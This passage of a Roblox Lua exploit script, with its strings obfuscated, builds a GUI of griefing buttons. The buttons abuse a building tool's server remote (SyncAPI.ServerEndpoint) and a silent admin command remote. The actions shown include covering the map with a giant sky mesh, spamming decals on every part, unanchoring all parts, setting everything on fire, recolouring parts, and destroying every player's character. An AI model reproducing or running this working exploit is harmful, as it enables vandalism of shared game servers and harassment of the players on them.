UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(24)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(25))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(26)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(27))
end)
local UTSG = Instance.new(_D(28))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(29)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(30) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(31) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(32),
[2] = {
[1] = {
[_D(33)] = part,
[_D(34)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(35),
[2] = {
[1] = {
[_D(36)] = part,
[_D(37)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(38),
[2] = _D(39),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(40),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(41),
[2] = {
[1] = {
[_D(42)] = part,
[_D(43)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(44),
[2] = {
[1] = {
[_D(45)] = part,
[_D(46)] = cf,
[_D(47)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(48),
[2] = {
[1] = {
[_D(49)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(50),
[2] = {
[1] = {
[_D(51)] = part,
[_D(52)] = _D(53)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(54),
[2] = {
[1] = {
[_D(55)] = part,
[_D(56)] = _D(57)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(58),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(59),
[2] = {
[1] = {
[_D(60)] = part,
[_D(61)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(62),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(63),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(64),
[2] = {
[1] = {
[_D(65)] = part,
[_D(66)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(67),
[2] = {
[1] = {
[_D(68)] = part,
[_D(69)] = _D(70)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(71),
[2] = {
[1] = {
[_D(72)] = part,
[_D(73)] = _D(74),
[_D(75)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(76),
[2] = {
[1] = {
[_D(77)] = part,
[_D(78)] = color --[[Color3]],
[_D(79)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(80),
[2] = {
[1] = {
[_D(81)] = part,
[_D(82)] = side,
[_D(83)] = _D(84)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(85),
[2] = {
[1] = {
[_D(86)] = part,
[_D(87)] = side,
[_D(88)] = _D(89),
[_D(90)] = _D(91).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(92)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(93))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(94))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(95))
end)
local UTSG = Instance.new(_D(96))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(97)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(98) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(99) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(100),
[2] = {
[1] = {
[_D(101)] = part,
[_D(102)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(103),
[2] = {
[1] = {
[_D(104)] = part,
[_D(105)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(106),
[2] = _D(107),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(108),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(109),
[2] = {
[1] = {
[_D(110)] = part,
[_D(111)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(112),
[2] = {
[1] = {
[_D(113)] = part,
[_D(114)] = cf,
[_D(115)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(116),
[2] = {
[1] = {
[_D(117)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(118),
[2] = {
[1] = {
[_D(119)] = part,
[_D(120)] = _D(121)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(122),
[2] = {
[1] = {
[_D(123)] = part,
[_D(124)] = _D(125)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(126),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(127),
[2] = {
[1] = {
[_D(128)] = part,
[_D(129)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(130),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(131),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(132),
[2] = {
[1] = {
[_D(133)] = part,
[_D(134)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(135),
[2] = {
[1] = {
[_D(136)] = part,
[_D(137)] = _D(138)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(139),
[2] = {
[1] = {
[_D(140)] = part,
[_D(141)] = _D(142),
[_D(143)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(144),
[2] = {
[1] = {
[_D(145)] = part,
[_D(146)] = color --[[Color3]],
[_D(147)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(148),
[2] = {
[1] = {
[_D(149)] = part,
[_D(150)] = side,
[_D(151)] = _D(152)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(153),
[2] = {
[1] = {
[_D(154)] = part,
[_D(155)] = side,
[_D(156)] = _D(157),
[_D(158)] = _D(159).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(160)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(161))
end)
local UTSG = Instance.new(_D(162))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(163)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(164) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(165) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(166),
[2] = {
[1] = {
[_D(167)] = part,
[_D(168)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(169),
[2] = {
[1] = {
[_D(170)] = part,
[_D(171)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = _D(172),
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(173),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(174),
[2] = {
[1] = {
[_D(175)] = part,
[_D(176)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(177),
[2] = {
[1] = {
[_D(178)] = part,
[_D(179)] = cf,
[_D(180)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(181),
[2] = {
[1] = {
[_D(182)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(183),
[2] = {
[1] = {
[_D(184)] = part,
[_D(185)] = _D(186)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(187),
[2] = {
[1] = {
[_D(188)] = part,
[_D(189)] = _D(190)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(191),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(192),
[2] = {
[1] = {
[_D(193)] = part,
[_D(194)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(195),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(196),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(197),
[2] = {
[1] = {
[_D(198)] = part,
[_D(199)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(200),
[2] = {
[1] = {
[_D(201)] = part,
[_D(202)] = _D(203)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(204),
[2] = {
[1] = {
[_D(205)] = part,
[_D(206)] = _D(207),
[_D(208)] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = _D(209),
[2] = {
[1] = {
[_D(210)] = part,
[_D(211)] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(212),
[2] = {
[1] = {
[_D(213)] = part,
[_D(214)] = color --[[Color3]],
[_D(215)] = false
}
}
}
_(args)
end
function toptexturecreate(part)
local args = {
[1] = _D(216),
[2] = {
[1] = {
[_D(217)] = part,
[_D(218)] = Enum.NormalId.Top,
[_D(219)] = _D(220)
}
}
}
_(args)
end
function toptextureadd(part)
local args = {
[1] = _D(221),
[2] = {
[1] = {
[_D(222)] = part,
[_D(223)] = Enum.NormalId.Top,
[_D(224)] = _D(225),
[_D(226)] = _D(227),
[_D(228)] = 25,
[_D(229)] = 25
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,_D(230))
for i,v in game.Workspace:GetChildren() do
if v:IsA(_D(231)) and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(600,20,600),CFrame.new(hrpx,hrpy-20,hrpz))
Color(v,Color3.fromRGB(0, 0, 0))
toptexturecreate(v)
toptextureadd(v)
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
local UTSG = Instance.new(_D(232))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(233)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(234) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(235) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(236),
[2] = {
[1] = {
[_D(237)] = part,
[_D(238)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(239),
[2] = {
[1] = {
[_D(240)] = part,
[_D(241)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(242),
[2] = _D(243),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(244),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(245),
[2] = {
[1] = {
[_D(246)] = part,
[_D(247)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(248),
[2] = {
[1] = {
[_D(249)] = part,
[_D(250)] = cf,
[_D(251)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(252),
[2] = {
[1] = {
[_D(253)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(254),
[2] = {
[1] = {
[_D(255)] = part,
[_D(256)] = _D(257)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(258),
[2] = {
[1] = {
[_D(259)] = part,
[_D(260)] = _D(261)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(262),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(263),
[2] = {
[1] = {
[_D(264)] = part,
[_D(265)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(266),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(267),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(268),
[2] = {
[1] = {
[_D(269)] = part,
[_D(270)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(271),
[2] = {
[1] = {
[_D(272)] = part,
[_D(273)] = _D(274)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(275),
[2] = {
[1] = {
[_D(276)] = part,
[_D(277)] = _D(278),
[_D(279)] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
local UTSG = Instance.new(_D(280))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(281)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(282))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(283)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(284))
end)
local UTSG = Instance.new(_D(285))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(286)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
while true do
local ReplicatedStorage = game:GetService(_D(287))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(288)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(289))
task.wait(7.8)
RequestCommand:InvokeServer(_D(290))
wait(7.8)
end
end)
local UTSG = Instance.new(_D(291))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(292)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(293) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(294) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(295),
[2] = {
[1] = {
[_D(296)] = part,
[_D(297)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(298),
[2] = {
[1] = {
[_D(299)] = part,
[_D(300)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(301),
[2] = _D(302),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(303),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(304),
[2] = {
[1] = {
[_D(305)] = part,
[_D(306)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(307),
[2] = {
[1] = {
[_D(308)] = part,
[_D(309)] = cf,
[_D(310)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(311),
[2] = {
[1] = {
[_D(312)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(313),
[2] = {
[1] = {
[_D(314)] = part,
[_D(315)] = _D(316)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(317),
[2] = {
[1] = {
[_D(318)] = part,
[_D(319)] = _D(320)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(321),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(322),
[2] = {
[1] = {
[_D(323)] = part,
[_D(324)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(325),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(326),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(327),
[2] = {
[1] = {
[_D(328)] = part,
[_D(329)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(330),
[2] = {
[1] = {
[_D(331)] = part,
[_D(332)] = _D(333)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(334),
[2] = {
[1] = {
[_D(335)] = part,
[_D(336)] = _D(337),
[_D(338)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(339),
[2] = {
[1] = {
[_D(340)] = part,
[_D(341)] = color --[[Color3]],
[_D(342)] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(343)) then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
randomise()
end)
local UTSG = Instance.new(_D(344))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(345)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(346) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(347) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(348),
[2] = {
[1] = {
[_D(349)] = part,
[_D(350)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(351),
[2] = {
[1] = {
[_D(352)] = part,
[_D(353)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(354),
[2] = _D(355),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(356),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(357),
[2] = {
[1] = {
[_D(358)] = part,
[_D(359)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(360),
[2] = {
[1] = {
[_D(361)] = part,
[_D(362)] = cf,
[_D(363)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(364),
[2] = {
[1] = {
[_D(365)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(366),
[2] = {
[1] = {
[_D(367)] = part,
[_D(368)] = _D(369)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(370),
[2] = {
[1] = {
[_D(371)] = part,
[_D(372)] = _D(373)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(374),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(375),
[2] = {
[1] = {
[_D(376)] = part,
[_D(377)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(378),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(379),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(380),
[2] = {
[1] = {
[_D(381)] = part,
[_D(382)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(383),
[2] = {
[1] = {
[_D(384)] = part,
[_D(385)] = _D(386)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(387),
[2] = {
[1] = {
[_D(388)] = part,
[_D(389)] = _D(390),
[_D(391)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(392),
[2] = {
[1] = {
[_D(393)] = part,
[_D(394)] = color --[[Color3]],
[_D(395)] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
end)
local UTSG = Instance.new(_D(396))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(397)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(398) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(399) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(400),
[2] = {
[1] = {
[_D(401)] = part,
[_D(402)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(403),
[2] = {
[1] = {
[_D(404)] = part,
[_D(405)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(406),
[2] = _D(407),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(408),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(409),
[2] = {
[1] = {
[_D(410)] = part,
[_D(411)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(412),
[2] = {
[1] = {
[_D(413)] = part,
[_D(414)] = cf,
[_D(415)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(416),
[2] = {
[1] = {
[_D(417)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(418),
[2] = {
[1] = {
[_D(419)] = part,
[_D(420)] = _D(421)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(422),
[2] = {
[1] = {
[_D(423)] = part,
[_D(424)] = _D(425)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(426),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(427),
[2] = {
[1] = {
[_D(428)] = part,
[_D(429)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(430),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(431),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(432),
[2] = {
[1] = {
[_D(433)] = part,
[_D(434)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(435),
[2] = {
[1] = {
[_D(436)] = part,
[_D(437)] = _D(438)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(439),
[2] = {
[1] = {
[_D(440)] = part,
[_D(441)] = _D(442),
[_D(443)] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = _D(444),
[2] = {
[1] = {
[_D(445)] = part,
[_D(446)] = _D(447)
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
local UTSG = Instance.new(_D(448))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.089, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
